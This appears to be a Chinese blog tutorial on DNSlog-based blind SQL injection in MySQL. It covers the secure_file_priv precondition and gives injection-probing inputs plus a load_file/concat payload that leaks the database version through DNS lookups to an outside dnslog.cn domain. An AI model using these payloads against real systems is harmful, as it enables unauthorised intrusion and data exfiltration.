sql盲注进阶篇-dnslog盲注

满足条件

mysql.ini中secure_file_priv必须为空不是null。

secure_file_priv=

secure_file_priv参数及含义

●secure_file_priv 为null 不允许导入导出。
●secure_file_priv 为/tmp 导入导出只能在/tmp目录下。
●secure_file_priv 为空时 则不做限制允许导入导出。

使用工具

DNSLog PlatformDNSLog平台icon-default.png?t=M276http://www.dnslog.cn/

原理

DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息
简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息。

如图

 

用例

1、获取dns

2、确定是字符注入还是数值注入

?id=1'#和?id=1#

3、是否存在注入点

?id=1 and 1=1#和?id=1 and 1=2#

4、log注入

?id=1 and  load_file(concat('\\\\',(select version()),'.qdyxbz.dnslog.cn\\abc')) 
#'.qdyxbz.dnslog.cn\\abc' 这里的格式为'.dns域名\\abc'

此处concat('\\\\',(select version()),'.qdyxbz.dnslog.cn.cn\\abc')

执行的结果为 \\5.5.53.qdyxbz.dnslog.cn.cn\abc

(\\是文件目录,5.5.53是版本号,.是用来拼接的 ,qdyxbz.dnslog.cn是dns域名,\abc是目录)

5、回显 版本号,库

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值